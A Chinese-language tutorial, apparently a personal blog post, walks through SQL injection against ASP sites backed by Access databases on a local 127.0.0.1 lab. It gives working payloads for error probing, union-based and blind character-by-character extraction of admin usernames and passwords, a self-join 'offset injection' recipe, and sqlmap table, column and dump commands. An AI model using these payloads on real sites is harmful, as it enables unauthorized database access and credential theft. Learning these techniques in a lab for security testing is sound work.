access数据库的来历,我就不说了,因为我懒的记,就算记了感觉上也没大多用处,只要记得数据库的结构就行了。
先是表名,然后是列名,再者就是数据,我发个实际的图吧,大概就是这么一个结构。
下面,开始说下未过滤的SQL代码,说是SQL代码,其实应该说是asp代码,因为,很多access数据库都是和asp这个脚本语言相连的,关于asp这个脚本语言细节,想深入了解的可以百度下,毕竟搜索引擎也是一个很好的老师,很好的老师。
上图是asp的代码,ID就是一个变量,一般的网址结构,相信大家都知道的,网址又叫URL,他的组成是由网站地址,文件目录,还有文件名,文件里还有参数名和参数值。就像下面的这个。
网站地址:
0.1/0/wenjianjia/wenjianming.asp?id=1
网站地址:http://127.0.0.1/0/
文件目录:wenjianjia
文件名:wenjianming.asp
参数名:id
参数值:1
这个通过上图的未过滤的asp代码,还有下文对网址的解析,大家应该能看出来,变量在ID的这个值上面也就是参数值上。下面我们开始实施操作,理解原理。
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 这个URL的ID处存在注入,它在执行是时候是这样的。
select * from product where id=1 这个就是执行的SQL语句,通过这一句来链接数据库与页面直接的数据。
--------------------------------------------------------------------------------------------------
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1' 我们在URL的后面的加了一个点,来进行测试,看它存不存在注入。
select * from product where id=1' 因为这个点也被带入插入查询了,肯定的,没有 1' 文件,所以报错了,那么就说明,存在注入,因为它这条语句带入查询了。
--------------------------------------------------------------------------------------------------
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and 1=1 通过正确and正确这个编程里的方法,来判断是否可以显错,正确和正确,返回的肯定正确。(这个如果想细了解的可以百度下编程的逻辑判断,自己学习下。)
select * from product where id=1 and 1=1 返回正确,肯定要正确嘛,不正确,那还杂注入了。
--------------------------------------------------------------------------------------------------
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and 1=2 通过正确and错误,肯定错误,这个编程里的逻辑判断,来看下是否显示错误,如果显示错误,那就表示,可以通过显错来注入。如果不显错,那只能看看用工具能不能来跑出账号密码了,手工注入的毕竟有局限性,而且麻烦。
select * from product where id=1 and 1=2 返回错误页面
--------------------------------------------------------------------------------------------------
下面就开始注入了,access数据库的SQL注入,一般都是属于暴力注入,没有固定的规律可言,就是说,你只能靠猜的方法来注入,而不是有固定的方法,肯定会出来密码。
access数据库注入可分为两种注入方法,一种为联合查询法,一种为逐字猜解法,都是属于SQL的语句。那先来说下联合查询法吧。
首先我们需要用 order by 这个语句来猜解列表数,看上面的数据库图,应该都能懂。
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 order by 5 显示正常。
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 order by 6 显示错误。
通过这个对比,我们能猜出这个数据库有5个列表数,那么就开始联合查询法了。
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 union select 1,2,3,4,5 from admin
这句的代码的意思就是如果存在admin这个表名,则页面返回正常,如果没有,则返回错误,就像上面的判断是一个道理。
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 union select 1,username,password,4,5 from admin
这句代码的的前提是页面爆出可替换的数字时才行,然后把你认为可能是列名的单词替换到数字的位置,下面我会贴上实际图的。这句代码,我列出的两个列名是常见的列名,如果不存在的话,就会直接报错的。如果存在,那么列名下的数据,就会被爆出来。
--------------------------------------------------------------------------------------------------
下面我开始说下逐字猜解法,因为有些情况下,如果网站不支持联合查询法,那就只能哟逐字猜解法了,这个方法很麻烦,所以一般如果到这个步骤的话,肯定要上工具的,要不太麻烦了。
查表名: and exists(select * from 表名)
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and exists(select * from admin)
查询该数据库是否存在admin这个表名,如果存在就返回正常,如果返回错误就是不存在。
--------------------------------------------------------------------------------------------------
查列名: and exists(select 列名 from admin)
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and exists(select username from admin)
查询该数据库下,admin这个表名下是否存在username这个列名,如果存在就返回正常,不存在就爆错。
--------------------------------------------------------------------------------------------------
查数据:1.确定长度 2.确定asc数据(asc编码) 这个一个格式。
and (select top 1 len(列名) from admin)=5
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and (select top 1 len(username) from admin)=5
判断 username 这个列表下的数据长度为多少,如果返回正确的话,就是说明 username 这个列表下的数据长度为5位数。如果不正确,就表示不是被,然后一个一个猜吧,一般来说超不过10位数,谁的网站账号起那么长啊,和密码快一个长度了。。。。
and (select top 1 asc(mid(列名,位数,1)) from admin)=97
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and (select top 1 asc(mid(username,1,1))from admin)=97
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and (select top 1 asc(mid(username,2,1))from admin)=100
判断access数据库,admin表名下的username这个列表下的数据第一位数是否为asc编码里的97,也就是是否为a。如果是就猜第二位,把位数改成2,然后把后面的asc那个97改改,也就是一个一个的试,所以说很麻烦,一般都是工具跑的。
下面贴一个asc编码的图,自行参考。
--------------------------------------------------------------------------------------------------
对了,access还有一个偏移注入法,就是再已知表名的情况下,不知道列名,进行猜解。我本人对这个偏移注入原理不是很理解,所以也无法详细的说说,但是也得贴上代码,好歹大家都知道这个存在吧。
利用表自连偏移注入Access数据库
1.确定网站 字段数 order by 字段数
2.比如说 字段是47 表名是admin ((and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,.....,47 from admin)可以爆出敏感字符)
3.构造从1,*查询直到正确的爆出敏感字符的语句 (列子:and 1=2 union select 1,*错误就加1,2,3,4,5,6,7,8,*直到正确的爆出敏感字符)
4.例如是(and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,* from admin 到33,*正确的爆出敏感字符)
5.用47-33=14 *号就代表admin表名的14个字段
6.把admin表扩大一倍14x2=28 在用47-28=19 (例子:and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,* from admin把19,后面的字段全部替换成*号就变成这样了and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin)
7.直接爆管理员帐号密码替换表名admin 语句(admin as a inner join admin as b on a.id=b.id)
替换后的就变成这样了 (例子:and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from (admin as a inner join admin as b on a.id=b.id))
8.如果还爆不出来帐号密码那就在19,后面加a.id(例子:and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,a.id,* from (admin as a inner join admin as b on a.id=b.id))
9.还爆不出来帐号密码就在 a.id后面加上b.id(例子:and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id))
10.还爆不出来帐号密码就在b.id后面加c.id 加上c.id就相当于admin表的字段扩大了3倍 就是14x3=42 47-42=5 替换表名admin 语句((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)(例子:and 1=2 union select 1,2,3,4,5,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id))
上面是我从别的地方贴的,原地址,我已经找不见了,大概就是这么个偏移的思路,如果想更深入的了解,可以可以自己百度去了解。
--------------------------------------------------------------------------------------------------
好了 ,高潮的地方开始了,我要开始本地搭建一个asp+access的网站,网站源码是在网上搜的,当然源码里‘马’肯定不少,不过咱电脑又不是服务器,没事。开始了!!!
找见一个access注入点的页面。
判断是否存在注入。
and1=1 返回正常。
and 1=2 返回错误。
查询列表字段数,返回正常的是22个,说明存在22个列表字段。
当order by 到23的时候,报错了,说明只存在22个字段数。
判断是否存在admin这个表名,返回正常,说明存在这个表,但是没爆出数字,咋办?让语句出错被。
好了,我在ID参数后面加了个and 1=2 ,就是让语句不存在,好出现可替换的数字,下面就可以把爆出的数字进行替换为你认为可能是的列名。
因为我自己搭建的本地,所有我知道列名是什么,我就直接打上去了,然后列名下的数据就被替换出来了。
这就是联合查询法,很简单。但是实际环境中,肯定问题很多,很多,但是联合查询法的,原理就我上面说的呢个,基础就这个。
---------------------------------------------------------------------------------------------------------------
下面,开始演示下,逐字猜解法:
猜解是否存在admin这个表名,返回正常,那就说明存在了。
猜解admin这个表名下是否存在admin这个列名,返回正常,说明存在。
猜解admin这个表名下的admin列名的数据,总长度是否为5位数。页面返回正常,呢就是说5位数。
开始猜解admin这个表名下admin这个列名的下面的数据第一位是否asc编码里的A ,返回正常,说明是。
开始猜解admin这个表名下admin这个列名的下面的数据第二位是否asc编码里的B ,返回正常,说明是。对了,这里面的top 1 的意思是说,第一行,如果不加的话,要么爆错,要么还是报错。
以上就是逐字猜解法,是不是看着很简单啊,不麻烦 啊,一遍过啊,,,,这是在我源码知道的情况下,如果我不知道具体的数据,,那这个截图教程就会很曲折很曲折,当然,手工注入access也是 不常用的,毕竟效率才是第一位,都是上工具的。
----------------------------------------------------------------------------------------------------------------
这里,我就开始说下一个注入工具,“SQLmap”这个工具,注入工具很多,什么明小子啊,啊D啊,等等一堆注入工具,但是SQLmap这个工具,是我感 觉上很不错的注入工具,它是在python的环境下编写的,当然,我就是python入的门嘛,对关于python编的工具,总是抱有多一点的喜爱的。
SQLmap不光是一个注入工具,在整体的构架上,也算是编程构架思绪学习的一个好的样例,不扯了,说下这个工具吧,如果去官网上下载的话,需要再下载个 python的编程环境,毕竟是在这个环境下编写的嘛,当然你也可以下载个免环境版的sqlmap,这个我不细说了,网上一百度,一大堆。
下面开始正式开始操作,网址还是上面我自己搭建的网站,本地网站,安全,稳定,可靠,适合学习,操作,理解,还不被查水表,也不给他人带来麻烦,还能知道原理,练习技术,学会攻防,啦啦啦。不喷了,开始了。
打开工具后是这个样子的如果是python环境下的,可以按着我上面的操作一个一个输入,如果是免环境的,直接输入 -u "url地址" 然后,摁回车就是了。
回车后,直接跑出来数据库类型,因为我总是闲的没事,跑我自己的这个,所以很快就出来, 如果你们用的话,可能会出现一条又一条的询问句,要么就全部回车,要么,百度翻译一下句子,然后再选择。
因为这个得一句一句的指令操作的,所以你,摁下方向键的上键,就会还原到上一句的句子,然后你可以直接修改后面的代码。--tables 这个是表名的意思。
然后就跑出来access 数据库下,所有的表名。
操作依旧,摁上键,返回上一条命令,然后删除多余的,增改为--columns -T "amin" 再回车,就又开始跑了,--columns 是列名的意思,-T“admin”就是表名的意思。
看吧,这样就全部跑出来列名了,很方便,还简单。
操作依旧,--dump 在单词里是下载的意思,-C"admin,password" 这个就是列名admin列名和password列名,-T“admin”这个就不说了,你该知道的。还有在安全测试的时候,能不dump就不dump,除非你是授权的,警惕dump。
这两句,我忘了贴翻译, 第一句的意思,我不说了,我忘了,第二句的意识是说,是否该工具替你跑出md5加密值为多少,一般工具不好跑出来。
好了,账号密码都爆出来了了,是不是看着很简单?错,不简单,下面我来细说下,并总结下,全文,因为到这里了,差不多access注入篇就要结束了。
--------------------------------------------------------------------------------------------------------------
总结:
access的基础的基础算是总结完了,这个只是access数据库存在注入的漏洞的操作方法,同时还是最基础的,现实的环境比这个复杂的多的多,会出现各种问题,不是我上面用来测试的截图这么简单,这里只是汇总了一下,最基础的基础的,复杂 一部分,我就不在这个文章了讲了,等以后了有机会来了就说说,没机会了,你们就自己摸索的着找资料克服吧。感觉我写的这篇文章,算是基础里,access注入篇基础的基础讲的最细的了。自我感觉。
不赖,自己写了一遍,我对基础又加深的记忆了一遍。耶!